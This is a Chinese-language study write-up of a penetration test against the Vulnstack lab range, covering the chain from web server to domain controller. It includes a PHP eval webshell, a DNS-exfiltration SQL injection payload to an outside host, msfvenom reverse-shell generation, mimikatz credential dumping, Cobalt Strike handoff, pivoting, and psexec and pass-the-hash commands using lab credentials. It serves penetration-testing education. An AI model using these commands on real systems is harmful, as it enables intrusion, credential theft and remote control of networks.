这里写目录标题

  • 一、环境搭建
  • 二、拿下web服务器
    • 信息收集
    • phpmyadmin
      • 日志getshell
    • yxcms
      • 文件上传
      • xss
      • sql注入
  • 三、后渗透
    • 3.1 基于msf
    • 3.2 msf 联动 cobaltstrike
  • 四、横向移动
    • 4.1 搭建隧道
      • msf+proxychains
      • cobaltstrike + proxifer
    • 4.2 内网信息收集
    • 4.3 控制域内其他主机
      • 1.已知漏洞
      • 2.psexec攻击
      • 3.域hash传递攻击

一、环境搭建

实验环境拓扑如下:

红日靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

这里搭一个最简单的域环境,域控+dmz服务器(去掉域成员)

windows2008 域控 (host-only)10.37.129.9
windiws 7   web服务器 (双网卡 host-only + 乔接)10.37.129.7/172.20.10.8
windows 10 172.20.10.9 (cs客户端)
kali 172.20.10.10
公网vps  (cs服务端)

二、拿下web服务器

信息收集

拿到站点后,我们先找其ip地址(这里直接有了),用nmap扫描一波,
得到了一些信息:
(中间换了个环境ip发生了变化不过问题不大~)

然后访问其80端口,是一个phpinfo()页面:

以其为根目录,再扫描其他路径。
扫描工具很多,能不能扫出有用信息还是看字典是否强大。
这里是扫出来phpmyadmin和beifen.rar路径。

phpmyadmin

数据库管理后台,如果能让猜解出账号密码,可尝试使用file_into或日志写入webshell。
这里是直接 root/root 弱口令可以登录:

into写入文件:
使用需看要secure_file_priv的值。当value为“null”时,不允许读取任意文件当value为“空”时,允许读取任意文件value可也已设置为其他路径。

这里secure_file_priv值为空,就行不通了。

ps:如果想通过into写入文件:

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'#select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'#
#区别在于使用outfile时,文件中一行的末尾会自动换行

日志getshell

主要使用慢日志getshell

慢日志:

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'

因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

查看:

set global slow_query_log=1; #开启
set global slow_query_log=0; #关闭

2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='dir\filename'


3.向日志中写入内容


实战如下:






yxcms

直接给出了后台登录方式:

文件上传

因为是靶场,直接上一句话即可:

文件已上传,可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径:


蚁剑成功连接:

xss

留言板处存在xss漏洞:

后台审核时触发:

sql注入

注入点:http://xxx/index.php?r=admin/fragment/index

payload:1 and if((select load_file(concat(’\\’,(select database()),’.xxxx.ceye.io\abc’))),1,1))–
个人感觉用处不大没有复现,有兴趣的师傅可以研究一下。

三、后渗透

后渗透阶段,当我们已经将小马上传到web服务器上时,可以用webshell管理工具进行下一步渗透了。

3.1 基于msf

这里的思路是将shell派送给CS或者msf进行下一步渗透。
使用msf生成exe并开启监听(也可以用cs生产exe):

msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.20.10.8 LPORT=1234 -f exe -o run2.exe
use exploit/mutli/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 172.20.10.8
set lport 1234
exploit -j(后台)允许

用蚁剑将exe上传并执行:

得到反弹回来的shell

sessions -i(查看回话)


获取system权限
进来后第一步肯定是提权到system:
这里直接是administrator,所有可以直接提到system,实战中还需要其他手段提权。

第二步是获取账号密码:
1.导入账号,密码hash值:

run hashdump

Windows系统下的hash密码格式为:
用户名称:RID:LM-HASH值:NT-HASH值
NT-HASH hash生产方式:1. 将明文口令转换成十六进制的格式 2. 转换成Unicode格式,即在每个字节之后添加0x003. 对Unicode字符串作MD4加密,生成32位的十六进制数字串eg:用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1

2.mimikatz
加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限:

ps
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords


3.kiwi

load wiki
creds_all

开启3389:

run post/windows/manage/enable_rdp


测试:

3.2 msf 联动 cobaltstrike

msf获取到shell后,可以派发给cobaltstrike:
首先cobaltstrike创建监听器:

在msf控制台执行如下操作:

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true   #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost xxxx                 #公网vps ip
set lport 14444                 #监听端口
set session 1                   #派发session id
exploit

得到shell:

四、横向移动

4.1 搭建隧道

横向渗透前,先将该web服务器配置为代理服务器当作跳板机。

msf+proxychains

可用msf直接搭建sock隧道:
进入session,自动创建路由:

run post/multi/manage/autoroute


查看路由:
run autoroute -p

退到上层,使用socks4a进行代理,端口与proxychains里设置一致即可:

background
use auxiliary/server/socks4a
run


run后 可用jobs查看任务是否执行:

jobs


配置proxychains:

vi /etc/proxychains.conf


全局代理测试:

浏览器代理测试:

cobaltstrike + proxifer

cs开启socks代理:

自定义端口:

proxifer设置:

测试:

4.2 内网信息收集

使用msf内置模块进行存活主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

内网主机端口扫描

proxychains nmap -Pn -sT 172.20.10.10
auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描(默认扫描1-10000)

内网主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

4.3 控制域内其他主机

1.已知漏洞

可尝试MS17-010(445)和 MS19-0708(3389),直接search找exp
eg:
打之前先探测一波:

search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhost 10.37.129.7
run


调用exp打一下,不保证100%能能打成功,会有很多因素失败,可以尝试一下。

2.psexec攻击

内网中,最总要的还是域管理员账号,有了域管理员账号后,可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。
下载地址:
pstools:https://download.sysinternals.com/files/PSTools.zip

psexec.exe \\10。37.129.7 -u god\administrator -p hongrisec@2019 cmd

这里其实已经登录成功,因为账号安全周期原因密码过期了

更改密码后再次登录:

3.域hash传递攻击

与psexec类似,当我获取获取到域管理员密码NTLM hash值时,可借助mimikatz进行进行登录域内其他电脑:

sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4

红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记相关推荐

  1. 网络安全初学者工具安装:Kali,Windows xp虚拟机,pikachu靶场,burpsuite安装配置,phpstudy安装(学习笔记)

             摘要 在互联网发展的时代背景下,网络安全成为了越来越不可忽视的重要领域,为此,各国都采取了维护网络安全的举措,对于网络安全人才的需求不断增大,我国作为世界上最多使用计算机人口的国家, ...

  2. 最新、最全、最详细的 MySQL 数据库学习笔记总结(2021最新版)

    数据库是什么 数据库管理系统,简称为DBMS(Database Management System),是用来存储数据的管理系统. DBMS 的重要性 无法多人共享数据 无法提供操作大量数据所需的格式 ...

  3. 超级详细的Python程序设计学习笔记,适合Python二级备考和自学Python的小白(me too)

    超级详细的Python学习笔记,适合Python二级备考和自学Python的小白(me too). 写作不易,喜欢的话点个赞吧

  4. <渗透测试学习指南> 信息收集(三)获取目标应用版本等详细信息

    转载请注明作者和出处: 本章将讲述如何获取目标系统信息.端口信息等详细信息 上一章我们讲到了获取目标真实IP及子域名信息的几种典型方法,但是单靠真实IP和子域名还无法让我们顺利的完成一项渗透测试任务, ...

  5. DC系列漏洞靶场-渗透测试学习复现(DC-1)

    最近闲着冲浪玩发现了DC系列漏洞靶场(下载了8个靶场:DC-1到DC-8),从信息收集到最后拿到超级管理员权限,可以说几乎贯穿了渗透测试的每一步,寻找一个个flag,通过flag中的指引内容,帮助我们 ...

  6. 【狂神说Java】Docker最新超详细版教程通俗易懂 - 学习笔记

    传送门:官方参考文档 | Docker Hub镜像仓库 | [狂神说Java]Docker视频教程 Docker概述 Docker 是一个便携的应用容器,基于 Go 语言开发的.它可以让开发者打包应用 ...

  7. stm32中断源有哪些_143条 超详细整理STM32单片机学习笔记(必看)

    点击上方蓝色字关注我们~ 1.AHB系统总线分为APB1(36MHz)和APB2(72MHz),其中2>1,意思是APB2接高速设备 2.Stm32f10x.h相当于reg52.h(里面有基本的 ...

  8. TryHackMe | Blue Writeup (超干货详细msf渗透使用指南)

    文章目录 前期准备 Task1 Recon scan the mechine How many ports are open with a port number under 1000? What i ...

  9. JSTL核心标签超详细详解(学习笔记,一文看懂)

    JSTL 一.认识JSTL表达式 1.什么是JSTL JSTL是Java server pages standarded tag library的缩写,即java标准标签库 JSTL百度百科 JSTL ...

最新文章

  1. uImage和zImage的区别
  2. css之flex布局
  3. 【SpringBoot 2】(八)数据响应 页面响应
  4. 用C#把文件转换为XML
  5. Codeforces 466E Information Graph
  6. Python3入门机器学习经典算法与应用 第3章 Jupyter Notebook魔法命令%run,%timeit
  7. Vue项目--仿大麦网移动端
  8. cocos3.10 遇到企鹅游戏,点击屏幕白屏的解决方案
  9. 2021年化工自动化控制仪表考试资料及化工自动化控制仪表免费试题
  10. 前端——》H5页面开屏分离特效
  11. 2008 mysql 本地安全_apache在windows2003或win2008环境中的安全设置
  12. 简易记账开发笔记之Fragment(前传)
  13. 银从个人理财在线计算机怎么使用,2017银行从业个人理财计算器使用方法
  14. php 5.3中的一个type hinting的用法
  15. 王道论坛机试指南学习笔记(五)搜索
  16. 游戏建模在国内的发展前景,3D建模行业真的很缺人吗?
  17. 面试时,不知如何和面试官谈期望薪资
  18. 成都榆熙电子商务有限公司:拼多多爆款产品的表现形式有哪些?
  19. vue 程序执行的过程
  20. Django REST framework(官方教程)

热门文章

  1. Java基础笔记01
  2. 昆特牌Onlinve——服务器
  3. VSCode汉字乱码
  4. IDEA用svn提交代码
  5. C语言编程入门之--第三章编写第一个C语言程序
  6. 元器件——详细解解读贴片电容:NP0、C0G、X7R、X5R、Y5V、Z5U的区别
  7. HP惠普暗影精灵6Pro_OMEN 15.6英寸Gaming Laptop15-ek1013TX(2Y3L6AV)原装出厂Windows11系统恢复原厂OEM系统
  8. unity python做热更_[专栏作家]基于ILRuntime的完整C#热更方案
  9. ping可以连接 Telnet 1521端口连接失败
  10. 翼支付门户架构之使用YUI Compressor优化你的网页